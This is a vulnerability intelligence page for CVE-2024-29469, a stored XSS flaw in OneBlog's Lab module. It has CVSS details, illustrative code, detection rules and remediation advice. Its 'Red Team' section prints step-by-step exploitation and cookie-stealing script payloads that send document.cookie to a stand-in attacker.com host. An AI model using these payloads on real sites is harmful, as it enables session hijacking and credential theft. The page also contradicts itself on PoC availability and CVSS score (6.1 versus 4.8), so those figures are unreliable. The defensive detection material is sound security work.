☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-29469

CVE-2024-29469 Cross-Site Scripting in Oneblog
📅 PUBLISHED: 2024-03-20 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-29469 is a stored cross-site scripting (XSS) vulnerability identified in OneBlog version 2.3.4, specifically within the Lab module's Category List parameter. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML into the Category List field. When an administrator or other user views the affected page, the malicious payload executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor, making this a high-priority issue for organizations using OneBlog.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OneBlog is a Java-based open-source blogging platform. The vulnerability resides in the application's own code, not in any third-party library or package. However, organizations should verify the integrity of their OneBlog installation and monitor for any unofficial patches or forks that address this issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – An attacker needs a valid user account with access to the Lab module.
  • User Interaction (UI): Required – The victim must visit the page containing the malicious payload.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the availability of a public PoC and the lack of a patch increase the risk. Attackers can chain this with social engineering to target privileged users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user input in the "Category List" parameter of the Lab module. When an attacker submits a crafted payload (e.g., <script>alert('XSS')</script>), it is stored in the database without encoding or escaping. Subsequently, when any user (including administrators) navigates to the Lab module's category management page, the payload is rendered in the HTML response, causing the browser to execute the injected script.

Root Cause: The lack of output encoding or input validation on the Category List parameter. The application likely uses a template engine that does not automatically escape HTML in this specific field, or the developer explicitly disabled escaping.

Attack Flow:

  1. Attacker logs in with a low-privileged account.
  2. Attacker navigates to the Lab module and adds a new category.
  3. In the "Category List" field, the attacker injects a malicious script (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>).
  4. The payload is stored in the database.
  5. An administrator or other user visits the Lab module's category list page.
  6. The browser renders the malicious script, executing it in the victim's session.
  7. The attacker can now steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (OneBlog v2.3.4):

// Example of vulnerable code in CategoryController.java
@PostMapping("/admin/category/save")
public String saveCategory(Category category) {
    // Directly saves user input without sanitization
    categoryService.save(category);
    return "redirect:/admin/category/list";
}

Patched Code (Hypothetical fix):

// Patched version with HTML encoding
@PostMapping("/admin/category/save")
public String saveCategory(@Valid @RequestBody Category category) {
    // Sanitize input using a library like OWASP Java HTML Sanitizer
    String sanitized = HtmlSanitizer.sanitize(category.getCategoryList());
    category.setCategoryList(sanitized);
    categoryService.save(category);
    return "redirect:/admin/category/list";
}

Key Difference: The patched code sanitizes the input before storing it, preventing script execution. The vulnerable code stores the raw input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • OneBlog v2.3.4 instance with a registered user account.
  • Access to the Lab module.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step Exploitation:

  1. Log in to OneBlog with a valid user account.
  2. Navigate to http://target.com/admin/lab/category/add.
  3. In the "Category List" field, enter the payload: <script>alert('XSS')</script> (for testing) or a more malicious payload.
  4. Submit the form.
  5. Wait for an administrator to visit the Lab module's category list page (/admin/lab/category/list).
  6. The payload executes, sending the admin's cookies to your server.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Defensive)

Detection Steps:

  1. Monitor web application logs for suspicious POST requests to /admin/lab/category/save containing HTML tags or JavaScript.
  2. Review database entries in the category table for encoded or raw script tags.
  3. Use a web application firewall (WAF) to block common XSS patterns.

Mitigation Steps:

  1. Apply input validation and output encoding on the Category List parameter.
  2. Implement Content Security Policy (CSP) headers to restrict script execution.
  3. Regularly scan for stored XSS using automated tools.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
  • Suspicious POST requests to /admin/lab/category/save with payloads containing <script>, <img>, or <iframe> tags.

Host IOCs:

  • Database entries in the category table containing HTML/JavaScript code in the category_list field.
  • Web server logs showing repeated access to /admin/lab/category/list from different IPs.

File IOCs:

  • Modified or new JavaScript files in the webroot (if attacker uploaded a backdoor).

Detection Engineering

YARA Rule

rule Detect_OneBlog_Stored_XSS_CVE_2024_29469 {
    meta:
        description = "Detects stored XSS payloads in OneBlog category list"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29469"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_img = /<img[^>]*onerror\s*=/i
        $xss_iframe = /<iframe[^>]*src\s*=/i
    condition:
        any of them
}

Sigma Rule

title: OneBlog Stored XSS via Category List
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in OneBlog Category List parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/lab/category/save'
        cs-uri-query|contains: 
            - '<script'
            - '<img'
            - '<iframe'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"OneBlog Stored XSS Attempt - Category List"; flow:to_server; content:"POST"; http_method; content:"/admin/lab/category/save"; http_uri; pcre:"/<script|<img|<iframe/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Lab module if not in use, or restrict access to trusted administrators only.
  2. Apply a WAF rule to block requests containing <script>, <img>, or <iframe> in the Category List parameter.
  3. Manually sanitize existing data by scanning the database for malicious entries and removing them.

Long-Term Fix:

  • Since no official patch is available, consider forking the repository and implementing input validation and output encoding. Use a library like OWASP Java HTML Sanitizer to allow only safe HTML tags.
  • Upgrade to a newer version of OneBlog if available, or migrate to an alternative blogging platform.

Workaround:

  • Implement a Content Security Policy (CSP) header that blocks inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-29469/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.